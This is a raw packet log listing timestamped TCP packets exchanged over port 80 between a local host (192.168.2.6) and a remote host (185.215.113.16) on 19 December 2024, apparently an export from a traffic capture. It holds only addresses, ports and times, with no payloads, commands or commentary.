Dec 19, 2024 08:46:27.502485037 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.502494097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.503001928 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.503115892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.503485918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.504343033 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.504554033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.504560947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.505492926 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.505933046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.505940914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.506198883 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.507414103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.507428885 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.507992029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.508829117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.508837938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.509464979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.509486914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.510217905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.510232925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.510524988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.511013985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.511033058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.511332035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.511785984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.511797905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.512109041 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.512561083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.512568951 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.512581110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.512648106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.513356924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.513366938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.514154911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.514163017 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.514179945 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.514210939 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.514919996 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.515279055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.515331030 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.515667915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.517724037 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.517926931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.517954111 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.518256903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.518630981 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.518765926 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.519217968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.519470930 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.519555092 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.520179987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.520483971 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.627326965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.627532959 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.627620935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.627845049 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.628216028 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.628318071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.628782034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.628974915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.629072905 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.629784107 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.629987955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.630049944 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.630765915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.630996943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.631067038 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.631735086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.631972075 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.632106066 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.632700920 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.632890940 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.633119106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.633687973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.633913040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.633972883 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.634656906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.634835005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.635051966 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.635667086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.635864019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.636369944 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.636619091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.637000084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.637063026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.637608051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.637795925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.637887955 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.638581991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.638783932 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.639363050 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.639555931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.639851093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.639908075 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.642450094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.642632961 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.642920971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.643030882 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.643055916 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.643364906 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.643394947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.644028902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.644114971 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.644165993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.644773006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.644829988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.644949913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.692174911 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.751712084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.751905918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.752064943 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.752177954 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.752346039 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.752408981 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.752710104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.753330946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.753410101 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.753525019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.754297972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.754478931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.754544973 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.755273104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.755382061 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.755436897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.756266117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.756445885 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.756460905 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.757232904 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.757312059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.757452965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.758311987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.758397102 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.758483887 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.759191990 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.759387016 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.759480000 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.760174990 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.760253906 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.760417938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.761204958 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.761270046 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.761363983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.762162924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.762244940 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.762295008 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.763113022 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.763245106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.763340950 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.764133930 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.764297962 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.764324903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.765050888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.765161991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.766995907 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.767204046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.767256021 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.767510891 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.768119097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.768243074 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.768284082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.768642902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.768728018 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.768785000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.769167900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.769239902 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.769764900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.769969940 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.770056963 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.876775980 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.877089024 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.877198935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.877471924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.877834082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.877891064 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.878405094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.878745079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.878787994 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.879394054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.879761934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.880194902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.880260944 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.880491972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.881195068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.881280899 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.881362915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.881413937 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.882175922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.882349968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.882436037 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.883147955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.883337975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.883407116 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.884118080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.884340048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.884412050 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.885138988 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.885281086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.885402918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.886076927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.886295080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.886657953 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.887072086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.887284040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.887355089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.888068914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.888266087 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.888338089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.889019012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.891863108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.891917944 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.892049074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.892410994 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.892488003 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.892697096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.893146038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.893203020 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.893326044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.893970966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.894017935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.894145966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.894958973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.895041943 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:27.895123005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.895894051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:27.895982981 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.001971006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.001986027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.002115011 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.002669096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.002681971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.002743959 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.004059076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.004071951 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.004122019 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.005443096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.005455971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.005505085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.006841898 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.006854057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.006910086 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.008378983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.008393049 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.008464098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.009020090 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.009032011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.009079933 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.010585070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.010598898 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.010652065 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.012116909 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.012130976 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.012218952 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.012892008 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.013662100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.014466047 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.014537096 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.015222073 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.016035080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.016047001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.016093016 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.016107082 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.016833067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.019865990 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.019880056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.019946098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.020708084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.021363974 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.021415949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.021430016 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.021547079 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.022176027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.022980928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.022994995 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.023056984 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.024576902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.024590015 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.024631023 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.025286913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.025361061 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.026036978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.026829958 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.026906013 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.081882000 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.142405033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.142580032 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.142617941 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.142914057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.143341064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.143382072 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.143835068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.144517899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.144584894 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.144740105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.145051003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.145179033 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.145719051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.145910978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.145975113 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.146713972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.146946907 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.146996975 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.147671938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.147857904 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.147906065 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.148737907 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.149070978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.149230957 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.149740934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.149852991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.149883986 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.150650024 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.150841951 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.150878906 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.151616096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.151843071 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.151880980 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.152620077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.152815104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.152875900 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.153574944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.153789043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.153835058 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.154563904 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.154715061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.154767990 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.157665968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.157996893 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.158158064 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.158210993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.158516884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.158564091 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.158691883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.159077883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.159126043 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.159640074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.159799099 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.159878016 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:28.160576105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:28.188985109 CET	49764	80	192.168.2.6	185.215.113.16
